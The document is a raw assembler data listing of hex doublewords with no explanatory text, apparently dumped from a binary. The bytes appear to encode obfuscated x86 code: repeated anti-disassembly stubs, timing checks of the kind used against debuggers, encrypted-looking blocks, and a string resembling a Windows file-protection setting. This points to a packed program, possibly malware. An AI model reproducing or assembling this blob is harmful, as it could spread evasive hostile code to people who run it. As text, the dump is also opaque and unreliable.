		dd 0FE61C15Bh, 9B890FC9h, 31FFFFFFh, 28217195h,	499D2906h
		dd 8306280Ch, 89F520C4h, 280849BDh, 2444C706h, 0FCh, 3DBD8900h
		dd 0B8062823h, 1, 6810FF9h, 1000000h, 28266595h, 0C48D8D06h
		dd 0E9062873h, 0Bh, 0E281F606h,	81FC7C02h, 0FFAE0CA8h
		dd 0C66160E1h, 280D2585h, 0B5010006h, 62818A5h,	8C2F861h
		dd 4DBD8900h, 96062820h, 5E95250h, 64000000h, 1BAEC4A0h
		dd 8B0F310Fh, 2, 585A6160h, 0AE950h, 1D0B0000h,	24502B96h
		dd 5BA0A118h, 68C0F96h,	29000000h, 2803D595h, 2AB58906h
		dd 89062842h, 280499BDh, 3B8D8906h, 0F8062842h,	40CDB58Dh
		dd 8C0F0628h, 1, 0A1858DF9h, 0F8005B8Eh, 8960D0FFh, 282E41B5h
		dd 38BF6606h, 0FC5E610Ah, 78C0FC3h, 0F000000h, 184h, 0B58BF900h
		dd 628422Ah, 2DFD9589h,	8D8B0628h, 628423Bh, 0CE9h, 5203D900h
		dd 83039834h, 78BB96ADh, 89C02B25h, 2825C99Dh, 68B0F06h
		dd 89000000h, 280F6D85h, 0F5D98B06h, 0FEE9h, 0CEBA6000h
		dd 0F416E5Ah, 388h, 0D0B70F00h,	0E9263261h, 11h, 207E3653h
		dd 0E6FEA60Ch, 265A7117h, 0E979907Eh, 0E902B27Bh, 0Eh
		dd 0D16E5324h, 6B3A1929h, 64F7E94Dh, 5FE9C6F9h,	9000000h
		dd 28248595h, 0E9C23206h, 0Eh, 0A4AD790Ch, 0C272D4D6h
		dd 4E341821h, 7A05B6E0h, 0F98A751Dh, 890FCC8Ah,	0Eh, 810F60h
		dd 89000000h, 282A798Dh, 0C8D36106h, 12E9h, 0A8D65000h
		dd 5964578Bh, 0DD38F480h, 1DE6FBFh, 357AE4E8h, 98D10842h
		dd 499D09F9h, 0FE062819h, 0D20AF8CAh, 0FF9F850Fh, 0CE9FFFFh
		dd 8000000h, 5C6220F4h,	1C905B89h, 60F6B98Fh, 0AE9h, 17CD1600h
		dd 0D5618EBEh, 0E893E59Bh, 13h,	772C5AB7h, 0A6AD1300h
		dd 3E9F81BDh, 0B85C23F7h, 894F2AA7h, 282B91BDh,	4B615906h
		dd 68A0Fh, 85090000h, 6281909h,	91B50146h, 0B062824h, 0A850FDBh
		dd 31FFFFFFh, 28011185h, 0D18D8906h, 0CF062832h, 0FE8B6660h
		dd 2DD99509h, 610628h, 6E900h, 0E38C0000h, 1E5C492Eh, 0F90000F5h
		dd 0F8F50000h, 9D890000h, 6281D51h, 3BBB858Dh, 850F0628h
		dd 16h,	11E9h, 984CA100h, 0C7DD10ABh, 0C94F3B0Ah, 44E1ED7Ch
		dd 8589FAEFh, 62812A1h,	1D7D8509h, 858D0628h, 6284052h
		dd 258589F5h, 0EB062822h, 14h, 3 dup(0)
		dd 8500h, 4F858D00h, 89062843h,	2821F585h, 90BD8306h, 62842h
		dd 122840Fh, 85C60000h,	6280D25h, 8B306856h, 34819811h
		dd 0EE60924h, 0D5B5FF4Ch, 8D06282Dh, 283BBB85h,	89D0FF06h
		dd 28428485h, 2585C606h, 5606280Dh, 4E8h, 0A8B85200h, 448B509Ch
		dd 8B0424h, 4244489h, 0D5B5FF58h, 8D06282Dh, 283BBB85h
		dd 89D0FF06h, 28428885h, 68046A06h, 985178CAh, 36240481h
		dd 8B67AE97h, 28429485h, 1F40506h, 0E0C10000h, 90509002h
		dd 95FF006Ah, 6284288h,	428C8589h, 0D88B0628h, 0FFFFFFB8h
		dd 0F595FFFFh, 8B062821h, 0F595FFC3h, 0E9062821h, 84h
		dd 4290BD83h, 0F000628h, 185h, 8B57C300h, 28428CBDh, 8583AB06h
		dd 628428Ch, 83C35F04h,	284290BDh, 850F0006h, 1, 0AD8360C3h
		dd 628428Ch, 8C9D8B04h,	83062842h, 0FFFFC7Bh, 1D85h, 0B33F6800h
		dd 34817D07h, 7333F24h,	0FF006A7Dh, 8495FF33h, 61062842h
		dd 1DE9C3h, 8E680000h, 81288C6Dh, 0ED8E2434h, 6A288Ch
		dd 95FF33FFh, 6284284h,	428CAD83h, 0E9040628h, 0FFFFFFB1h
		dd 1ADE948h, 8B600000h,	8B242474h, 0FC28247Ch, 68A80B2h
		dd 47078846h, 2BBh, 0FD20200h, 585h, 46168A00h,	830FD212h
		dd 0FFFFFFE2h, 850FD202h, 5, 1246168Ah,	6A830FD2h, 33000000h
		dd 0FD202C0h, 585h, 46168A00h, 830FD212h, 12Ah,	850FD202h
		dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h,	0D2124616h
		dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	6840Fh,	2B570000h, 5F078AF8h
		dd 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h, 5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 820FD212h
		dd 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h,	0FFFF08E9h
		dd 0E0C148FFh, 46068A08h, 1B9E88Bh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C913h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 7D003DFFh, 830F0000h,	22h, 5003Dh
		dd 0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h, 0FFFEB4E9h
		dd 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h, 0A4F3F02Bh
		dd 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h,	17h, 8B02D183h
		dd 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h, 2BFFFFFEh
		dd 8928247Ch, 611C247Ch, 0BA0008C2h, 929h, 9D3E9h, 8102B500h
		dd 0AFD60DB4h, 0EF5E118Ah, 7A724F6Eh, 65646024h, 7F4660EEh
		dd 0B1462AFDh, 775C11BAh, 8124E865h, 0A39406B9h, 0BD490382h
		dd 7D605E3Dh, 0A2F6F61h, 754C108Dh, 0BD4737E9h,	755C11E8h
		dd 8127E763h, 0BC941CB9h, 0BD56199Fh, 667E4223h, 61217B76h
		dd 620024EEh, 0F05637EDh, 601210BAh, 8131F363h,	0BDDB1AA0h
		dd 0B356179Fh, 63h dup(0)
		dd 8102B500h, 0B3DA07BDh, 0BD491999h, 6E7C553Eh, 206C6376h
		dd 305321E8h, 0FF4721EAh, 6C5D02E8h, 0D363E262h, 0B3DA06A5h
		dd 0F41B1183h, 666A0720h, 73217071h, 755433F9h,	9C286AE5h
		dd 78570898h, 816FE37Fh, 0B5D806A5h, 0F41B128Ch, 7B75073Ah
		dd 6D216F6Bh, 624F2DE5h, 0FF4364F1h, 7C4044ACh,	0D322F27Fh
		dd 0B5CD48A4h, 0ED1B0498h, 7B74483Ch, 2F6F65h, 48h dup(0)
		dd 8102B500h, 0B9D51AB3h, 0BA491386h, 6667073Dh, 68216E6Bh
		dd 720033E1h, 0B14C21EDh, 77470BAEh, 0D431A668h, 0B4DD06BEh
		dd 0F352568Ah, 7C7C5E6Eh, 79722276h, 7D4534F3h,	0C12F4EA6h
		dd 6A5301A4h, 0D463AA69h, 0BBDB04BEh, 0E9525689h, 6661416Eh
		dd 656C2269h, 69522FEDh, 0F54C25A8h, 6A5716E8h,	0D531E778h
		dd 0AFDB11F0h, 0EF4B569Fh, 68614021h, 2C69h, 61h dup(0)
		dd 0C805B500h, 0B9940DBCh, 0E8490482h, 6D76533Eh, 54212C25h
		dd 305329E8h, 0F64D36F8h, 395F05BAh, 8130E764h,	0B4D10DB2h
		dd 0F35A1BCDh, 65665727h, 64647665h, 744E21A0h,	0E84329A8h
		dd 143801AAh, 0D264F265h, 0BCDA01F0h, 0F84F1588h, 7071072Ah
		dd 56216324h, 635532E9h, 0B1502BA8h, 7A5316ABh,	8F27E367h
		dd 0B3DC3CF0h, 0F45D569Eh, 7E334222h, 74266C6Bh, 624F37A0h
		dd 0FF4364E3h, 6B5D09B1h, 0A869h, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
		dd 2D8DE9h, 44CA8100h, 0FC0C223Ch, 11E8h, 317FCE00h, 0F90C292Ah
		dd 5C17EBDEh, 0E856912Ch, 0C381AAE3h, 30228CDFh, 0BBC08B5Bh
		dd 4DA4814Fh, 149BD83h,	75000628h, 0C5BD8309h, 62814h
		dd 53501374h, 1B8C08Bh,	8D000000h, 2AA4009Dh, 5BD3FF06h
		dd 0C5BD8358h, 62814h, 53501174h, 1B8h,	0B19D8D00h, 0FF062AA2h
		dd 6A585BD3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8B2AC352h, 2800519Dh, 0DA816606h
		dd 6AB5AAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 4B396DC3h, 0BA887CCEh, 36CF21BDh,	6AC08Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 7497ECC3h, 2919BD83h, 0F000628h, 1D584h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0F7BEDE42h, 0B2D68B66h, 59BD834Dh, 62823h, 1A4840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0F08174C3h, 447E72F8h, 8589E542h,	6281985h
		dd 899D3160h, 8B062816h, 28235985h, 5870F06h, 66000000h
		dd 8741CB81h, 3E805h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0FB772D9Ch, 0BB506070h
		dd 2B06DD09h, 0E9240489h, 12h, 0DC237745h, 988A8D6Ah, 58CC8F89h
		dd 0C694F390h, 2FBA2DC2h, 8D69D639h, 284F4A85h,	9074B706h
		dd 10E9h, 0ECF10F00h, 79C878Eh,	45E1FC5Ch, 5B63BF3h, 0E96050FAh
		dd 0Bh,	5CCF0A63h, 5D6A7A4h, 61CC01DAh,	44BB6690h, 0CB81669Eh
		dd 858DBCF3h, 6284F28h,	850F50FCh, 3, 89D98B66h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F8D7EC3h, 189h, 13E9FC00h, 0B6000000h, 0F10F7B22h
		dd 9C878EECh, 0E1FC5C07h, 0B63BF345h, 95FFFA05h, 6280DF5h
		dd 1D419D89h, 0B70F0628h, 0CC483DEh, 1BCA8166h,	28858D8Fh
		dd 0E906284Fh, 0Bh, 1ACE01CCh, 6C5A7736h, 502D1A5Fh, 0B6608EBBh
		dd 24048945h, 0EB99589h, 26A0628h, 0FE8h, 6B33AA00h, 0A6737084h
		dd 2E3996ABh, 0D9E99747h, 2F98D31h, 0FF5B0628h,	6AED1495h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0F666CD7Fh, 15958B21h, 61062818h, 1FD59529h
		dd 85C70628h, 6284F5Bh,	1, 27459589h, 0AE80628h, 90000000h
		dd 86962E86h, 199A0A44h, 58506055h, 61C6BF0Fh, 860F965Ah
		dd 6, 0A5BB6657h, 8A505B85h, 6A96DCh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0F07919C3h
		dd 0F7DB589h, 0B5890628h, 6284F0Ch, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 40C35141h, 8B579CB7h, 958589D0h
		dd 83062807h, 282415BDh, 850F0106h, 39h, 5D5BD89h, 0F8830628h
		dd 2A850F05h, 8B000000h, 0B8D0h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 3972EC3h
		dd 280EF595h, 0B9BD8306h, 62806h, 42840Fh, 9D030000h, 6282441h
		dd 57006A60h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 891AB606h, 280951BDh, 0B995FF06h, 0BA062806h
		dd 0B07DCACh, 327DB589h, 53610628h, 5AFCCA80h, 511BD83h
		dd 0F000628h, 1384h, 0C19D8B00h, 0B806280Ch, 0
		dd 28F0Fh, 0FC8A0000h, 79950960h, 8B062823h, 28125985h
		dd 6870F06h, 8B000000h,	2816ED9Dh, 2C08306h, 1E65B589h
		dd 0BB660628h, 85893505h, 6284F04h, 0C6FD8Ah, 0DEBB66FFh
		dd 2585C670h, 5306280Dh, 4E9B589h, 0DF8B0628h, 0DE7E0D68h
		dd 0CE8E9h, 17B00000h, 9464A48Bh, 95C06F41h, 52500BCBh
		dd 310F5A51h, 585A2BB2h, 2434815Bh, 156F36D5h, 28FD9D33h
		dd 0B5FF0628h, 628140Dh, 0FE8h,	0BD03D200h, 33562A1Ch
		dd 5EE37C57h, 2E53E41Fh, 0A078BA66h, 58858D5Bh,	50062B6Fh
		dd 2CDB8166h, 0D0FF5BC9h, 2959D0Bh, 85890628h, 6280465h
		dd 2DD99501h, 0BD830628h, 62824F5h, 0AC850F01h,	66000000h
		dd 619A80BAh, 38C0Fh, 0C7800000h, 2585C6C8h, 4506280Dh
		dd 292D9523h, 2F680628h, 0E899484Ah, 0Eh, 329FE5CFh, 0E13AEF04h
		dd 0FB20231Bh, 13E82FBBh, 0A3000000h, 0F438751Bh, 4A2CDF90h
		dd 78EAA00Ah, 432BD75Ah, 5B5AF5FDh, 0ED243481h,	0F432872h
		dd 884h, 2880F00h, 57000000h, 0DB5FF5Ah, 6A062814h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0DC1FC352h, 8D76AB46h, 2B6F5885h, 91B50106h,	0FF062825h
		dd 7D9523D0h, 6A062817h, 0C5958B00h, 0FF062811h, 35958BD0h
		dd 83062827h, 28064DBDh, 850F0106h, 108h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 18C35141h, 0F0AD0D76h
		dd 0F8A7314h, 884h, 0D3815100h,	3101935h, 3860F5Bh, 0F000000h
		dd 858BDABFh, 6281259h,	0C8C0Fh, 8D0F0000h, 6, 79BEE281h
		dd 9CE90CA6h, 8B000000h, 280E2195h, 0D78B6606h,	0AE850h
		dd 760000h, 0E53097D8h,	7946CA9Ah, 14E9h, 577D4F00h, 446FF16h
		dd 900E1D33h, 2668DCE9h, 0C615749Ch, 4895B21h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0A8228547h, 6A0DF317h, 0FFE5B214h, 28046595h, 28F0F06h
		dd 0B3000000h, 6A5825h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 10C2FBC3h, 91C2822Ah, 88B0FACh
		dd 57000000h, 8B0Fh, 805A0000h,	850F0038h, 0FFFFFF64h
		dd 3830Fh, 0B70F0000h, 100C6D6h, 0D38B6661h, 18D1BD83h
		dd 0F000628h, 6084h, 0A0F4BB00h, 0FF6A4818h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 2AC35545h, 0EB813356h
		dd 119CE661h, 4059D33h,	95FF0628h, 6280465h, 26CD9D89h
		dd 0C3E90628h, 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 17C7C357h, 0D185C758h
		dd 1062818h, 0B6000000h, 108589F3h, 6606284Fh, 0F680DE8Bh
		dd 0EE89046h, 0BB000000h, 700EBDD5h, 26100E9Dh,	0A720DFB4h
		dd 66525082h, 310FD18Bh, 585A6160h, 0DF8B505Ah,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0F547EC78h, 60B3A19Dh, 6A056AF9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 20C9C353h
		dd 471F7761h, 76C0FA0Eh, 858DDEB6h, 6284F28h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B9C35040h, 3CF005E4h
		dd 1DF76863h, 50D38A6Ah, 48A0Fh, 0BA660000h, 4898088h
		dd 41958924h, 8D06281Dh, 284F1885h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 909C9BE6h
		dd 6E950h, 59DB0000h, 2869C60Dh, 0B870F90h, 0E9000000h
		dd 6, 3344F57Ch, 95FFB8DDh, 6280ED9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 7AC35747h, 895CBCBAh, 28272D95h
		dd 9C8D8D06h, 0F806287Ch, 1174C00Bh, 4F28858Dh,	0FF500628h
		dd 468589D1h, 0EB06284Fh, 4685C70Ah, 0FF06284Fh, 6AFFFFFFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 9AA5C355h, 1B95900Ah, 0BBB72977h,	287FA20Eh
		dd 24E9B589h, 0F530628h, 687h, 0D5BD8900h, 5B062831h, 9E961h
		dd 624A0000h, 915A3A2Eh, 0C635D7D4h, 280D2585h,	6A4D06h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E86ACCC3h, 4, 0A43576A8h, 19ABBA66h, 8B14B750h, 0F042444h
		dd 58Dh, 0BB4BBB00h, 8B6464h, 2820Fh, 0D38B0000h, 4244489h
		dd 0B58DE8Ah, 280CF995h, 35B5FF06h, 8B062826h, 0D0B70FD9h
		dd 6F58858Dh, 0BA60062Bh, 45C8E3E7h, 13E9h, 915A3A00h
		dd 7335D7D4h, 6D09455h,	3A316F38h, 57E075D3h, 6AD0FF61h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 8BC1C350h, 0B2B66E9Eh, 80F89283h,	8589C6EFh
		dd 6280DE9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	40C35141h, 0EA81668Dh, 85C6A419h, 6280D25h, 958B5645h
		dd 6282649h, 7BEB685Ah,	0D68B2B98h, 7E240481h, 6A62D9EDh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 8563C357h, 2097C836h, 9F6FA6EFh, 34C1B589h
		dd 8E90628h, 0E7000000h, 0B67081F4h, 0FFE04FDCh, 28140DB5h
		dd 9113BB06h, 858D0C24h, 62B6F58h, 0B6D0FFF8h, 0DB816696h
		dd 8589653Fh, 6282EFDh,	1DB589F5h, 8B062832h, 66DD8AD2h
		dd 0AE9D98Ch, 0B7000000h, 8C781C4Bh, 0C8CE1F28h, 4C1F69Fh
		dd 217840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0B589A2C3h, 62822D9h, 102E9h, 999D8B00h
		dd 8B062832h, 2805D1B5h, 0E1958B06h, 8106282Ch,	1180C6h
		dd 61BD8300h, 62809h, 2E850Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 6E188BC3h
		dd 0B760FC88h, 6183B2B3h, 0A6E9h, 0D9BF0F00h, 0F003E83h
		dd 9A84h, 61BA6600h, 9D8B6065h,	6283359h, 0F59952Bh, 146A0628h
		dd 4608BA53h, 0FF5A5CB1h, 28046595h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 80E62188h
		dd 958B8D3Bh, 62811D1h,	53006A61h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 8593A209h, 9D89ECE6h
		dd 6282521h, 0FFFF83E9h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0FBD577Ah, 28Ch, 0C7CEB700h
		dd 106h, 0BA665100h, 835AE91Dh,	284F10BDh, 850F0506h, 0E1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 27C35040h
		dd 0DB4E7183h, 3810Fh, 0BF0F0000h, 0FDB58BD3h, 8B06282Eh
		dd 2816C195h, 64B906h, 8B660000h, 0E83E80D7h, 11840Fh
		dd 958B0000h, 6280909h,	39E9h, 31853100h, 80062822h, 0FC2057Eh
		dd 4F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8509B87Bh, 6280C11h, 18418D09h, 0F460628h
		dd 68Ch, 9D9D8B00h, 49062818h, 0FF9F850Fh, 0BD89FFFFh
		dd 6280EE5h, 38E9h, 2D9D8B00h, 0FC062827h
		dd 2A81B589h, 6A0628h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 36B4CFC3h, 8D012B99h, 6280185h
		dd 3B7272BAh, 0FE9584Fh, 0D2000000h, 0F749CBC3h, 0D4AE67C4h
		dd 0ECE8D98Ah, 0BD839DD7h, 628034Dh, 6E840F00h,	6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0BB4BC351h, 0FC1321DFh, 6880F4Eh,	8B000000h
		dd 281A459Dh, 89958906h, 6006282Dh, 2585C6FCh, 5406280Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 6DC35343h
		dd 0FA0043Dh, 583h, 0F812BA00h,	5668570Dh, 50B56C54h, 0F5BA6652h
		dd 50310FEBh, 0F4EB652h, 5AD38B31h, 81585A58h, 0EAA22434h
		dd 6A4A22h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 5DA0D3C3h, 667E39C6h, 0B5FFD88Bh,	628140Dh
		dd 6820Fh, 85890000h, 6282BA1h,	6F58858Dh, 958B062Bh, 6281D19h
		dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 344BAFC3h, 0CE860h, 0E4DD0000h, 37732F19h
		dd 0B20B1408h, 0EE90A06h, 51000000h, 0AD42BC80h, 0B26E13Fh
		dd 77C40754h, 6A615F88h, 0FFD98B00h, 28034DB5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0B6376160h, 89D0FFD9h, 280D75B5h, 6A6106h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6C9563C3h
		dd 8CF8EA20h, 51958BA8h, 0B2062808h, 0A185C7ADh, 1062825h
		dd 8B000000h, 2807699Dh, 8CBA6006h, 685AD418h, 0E61744B1h
		dd 481DA8Bh, 0E8BBCF24h, 9E96019h, 5E000000h, 0AAC6ACDAh
		dd 655D3937h, 61F18B66h, 958BFF6Ah, 62818F9h, 2D3595FFh
		dd 9D890628h, 6281011h,	53006A61h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0A8B0F2Dh, 60000000h
		dd 238D8D89h, 61600628h, 0BA509061h, 4638589Ch,	0E860505Bh
		dd 13h,	0E2CD433Bh, 0A2640AD6h,	0A6A2FAE0h, 7B07D1A4h
		dd 8A2C16B2h, 0C78B59C3h, 6A9061h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 9D81CBC3h, 0DE9D5h, 0E9D20000h
		dd 3C10E40Eh, 7DC0C703h, 665E0592h, 0C521EB81h,	1821858Bh
		dd 9D8B0628h, 6282979h,	840FC00Bh, 24h,	0FFDF8B66h, 28062595h
		dd 0FE806h, 0A3470000h,	0C6128D62h, 89FC4420h, 3E16043Bh
		dd 0E19D8BA8h, 5A062810h, 1E6985C7h, 10628h, 81660000h
		dd 831785E3h, 281E8DBDh, 840F0006h, 2Fh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 3C35747h, 2AB32DA0h
		dd 0FFD5B363h, 2831E995h, 9D9D2B06h, 8306282Fh,	28213DBDh
		dd 840F0006h, 37h, 3D95FFF9h, 6A06281Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 9565C353h
		dd 18BFF09Eh, 8B185E72h, 28101D95h, 84E28106h, 83264415h
		dd 2800D9BDh, 840F0006h, 2Ah, 8E9h, 77F69400h, 6F17049Ah
		dd 0DDBD83C6h, 62802h, 10850Fh,	1CBA0000h, 0FF54B8AEh
		dd 28346595h, 0D2816606h, 0BD83D7B7h, 6282BA5h,	1B840F00h
		dd 89000000h, 282F49B5h, 91858106h, 3062802h, 81000040h
		dd 282E5585h, 400306h, 310FFC00h, 21B9958Bh, 8D8D0628h
		dd 6285F00h, 0CB59D8Bh,	1890628h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0D0C35343h,	50BBF426h, 330F6498h
		dd 27EB81C2h, 890C4A62h, 66FC0441h, 0FEF61BBh, 57006A31h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0B13CBE55h, 0E96015DAh, 7, 0DB9B03F0h, 0F63739Bh, 8D61C6BFh
		dd 285F0A8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 18964E2h,	24819D33h, 0C2330628h
		dd 9E960h, 5560000h, 61B3D25Ah,	61752C80h, 8B044189h, 2804F99Dh
		dd 2DBD8306h, 62820h, 35840Fh, 95010000h, 6282BA1h, 337995FFh
		dd 6A0628h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 5AEBE3C3h, 0E989AA78h, 3D8589ABh,	83062800h
		dd 282381BDh, 850F0106h, 80h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 8FC35141h, 27D83014h, 11958B5Dh
		dd 0E9062823h, 54h, 18860Fh, 13E90000h,	1A000000h, 0F242CBE6h
		dd 7B31DEDFh, 305DD2B4h, 40211A2Bh, 0B58B7585h,	628604Eh
		dd 6C7h, 0B58B0000h, 6285E36h, 6C7h, 0E8CF0000h, 11h, 0D2D8D54Ch
		dd 0E6AD53B9h, 74CE5304h, 4E0BD00Fh, 459D894Dh,	5A062823h
		dd 1E69BD83h, 0F000628h, 13884h, 83DF8B00h, 2825D1BDh
		dd 850F0106h, 116h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 5C35545h, 9C36F1D9h, 0D2BF0FA4h, 4F048D8Bh
		dd 0B5010628h, 6282F79h, 8B0001C6h, 280DFD9Dh, 0D3806006h
		dd 0D220683Dh, 0F6B71E86h, 0A0243481h, 6A1E86D2h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0CFFAC357h, 17B19D29h, 0FF6A0628h, 7816C381h, 95FF3158h
		dd 6282D35h, 0C799D8Bh,	6A610628h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0D789C357h
		dd 413D1890h, 68C0F76h,	89000000h, 280D4D8Dh, 47A9BB06h
		dd 95FF278Fh, 62802E9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 8BC35545h, 5ACA8166h,	48D8B25h, 6A06284Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 43DEC353h, 0A6D7AF86h, 8166A487h,	0FE3AA9CAh
		dd 0EDE28101h, 6642710Dh, 0BD83DF8Bh, 62818BDh,	6850F01h
		dd 81000000h, 5EDABEE3h, 6AC08B45h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 24DAC357h
		dd 0BD8C41Ah, 8D9D8BD6h, 83062819h, 280149BDh, 9750006h
		dd 14C5BD83h, 74000628h, 8B53501Ah, 91858BC0h, 89062802h
		dd 28029185h, 5E9D8D06h, 0FF062AA5h, 83585BD3h,	2814C5BDh
		dd 18740006h, 858B5350h, 6280291h, 2918589h, 9D8D0628h
		dd 62AA24Dh, 585BD3FFh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 18C35141h, 66CA3A3Eh,	48BAF8F5h, 8B67EF1Ah
		dd 33DA81C0h, 83692E79h, 281E69BDh, 850F0006h, 3Bh, 0BD83DE8Ah
		dd 62801F1h, 2C840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 695FC357h
		dd 96B20307h, 47E38166h, 959D89B4h, 83062834h, 281E69BDh
		dd 840F0006h, 26h, 8DCB8166h, 0A98D89FAh, 83062811h, 281025BDh
		dd 840F0006h, 0Eh, 298D2960h, 89062806h, 28231995h, 0BD836106h
		dd 6281E69h, 59840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4479C352h
		dd 6EBB5D47h, 83163372h, 281025BDh, 840F0006h, 28h, 0E853006Ah
		dd 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 36C35343h, 0DBE42779h, 9D339C52h
		dd 6283215h, 1E69BD83h,	0F000628h, 1584h, 15BD8300h, 6281Eh
		dd 8840Fh, 1510000h, 2804E9B5h,	0BD835A06h, 6281E69h, 61840F00h
		dd 8B000000h, 28164D95h, 83C0B606h, 282BC9BDh, 840F0006h
